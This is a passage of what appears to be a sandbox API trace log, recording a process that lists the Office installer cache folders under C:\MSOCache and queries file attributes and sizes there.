	[0050.342] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274e968 | out: lpFileInformation=0x1274e968*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510)) returned 1
	[0050.343] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), fInfoLevelId=0x0, lpFileInformation=0x1274e9b8 | out: lpFileInformation=0x1274e9b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00)) returned 1
	[0050.347] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274ea08 | out: lpFileInformation=0x1274ea08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4)) returned 1
	[0050.347] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), fInfoLevelId=0x0, lpFileInformation=0x1274ea58 | out: lpFileInformation=0x1274ea58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb)) returned 1
	[0050.348] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), fInfoLevelId=0x0, lpFileInformation=0x1274eaa8 | out: lpFileInformation=0x1274eaa8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31)) returned 1
	[0050.349] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274eaf8 | out: lpFileInformation=0x1274eaf8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976)) returned 1
	[0050.349] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), fInfoLevelId=0x0, lpFileInformation=0x1274eb48 | out: lpFileInformation=0x1274eb48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968)) returned 1
	[0050.352] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274eb98 | out: lpFileInformation=0x1274eb98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768)) returned 1
	[0050.352] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), fInfoLevelId=0x0, lpFileInformation=0x1274ebe8 | out: lpFileInformation=0x1274ebe8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a)) returned 1
	[0050.352] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), fInfoLevelId=0x0, lpFileInformation=0x1274ec38 | out: lpFileInformation=0x1274ec38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578)) returned 1
	[0050.352] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x1274ec88 | out: lpFileInformation=0x1274ec88*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.353] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.353] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.355] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.355] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1
	[0050.355] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0050.355] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1
	[0050.355] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1
	[0050.355] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1
	[0050.355] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1
	[0050.355] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1
	[0050.355] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.msi", cAlternateFileName="PRJPRO~1.MSI")) returned 1
	[0050.355] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x9d0000
	[0050.356] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.xml", cAlternateFileName="PRJPRO~1.XML")) returned 1
	[0050.356] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1
	[0050.356] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1
	[0050.356] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0050.356] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.356] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.357] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), fInfoLevelId=0x0, lpFileInformation=0x1274f098 | out: lpFileInformation=0x1274f098*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c)) returned 1
	[0050.358] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), fInfoLevelId=0x0, lpFileInformation=0x1274f0e8 | out: lpFileInformation=0x1274f0e8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600)) returned 1
	[0050.359] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274f138 | out: lpFileInformation=0x1274f138*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2)) returned 1
	[0050.359] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274f188 | out: lpFileInformation=0x1274f188*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510)) returned 1
	[0050.359] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), fInfoLevelId=0x0, lpFileInformation=0x1274f1d8 | out: lpFileInformation=0x1274f1d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400)) returned 1
	[0050.360] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274f228 | out: lpFileInformation=0x1274f228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915)) returned 1
	[0050.361] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), fInfoLevelId=0x0, lpFileInformation=0x1274f278 | out: lpFileInformation=0x1274f278*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f)) returned 1
	[0050.361] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274f2c8 | out: lpFileInformation=0x1274f2c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b)) returned 1
	[0050.361] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), fInfoLevelId=0x0, lpFileInformation=0x1274f318 | out: lpFileInformation=0x1274f318*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968)) returned 1
	[0050.361] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), fInfoLevelId=0x0, lpFileInformation=0x1274f368 | out: lpFileInformation=0x1274f368*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768)) returned 1
	[0050.362] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), fInfoLevelId=0x0, lpFileInformation=0x1274f3b8 | out: lpFileInformation=0x1274f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a)) returned 1
	[0050.362] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), fInfoLevelId=0x0, lpFileInformation=0x1274f408 | out: lpFileInformation=0x1274f408*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578)) returned 1
	[0050.362] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x1274f458 | out: lpFileInformation=0x1274f458*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.364] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
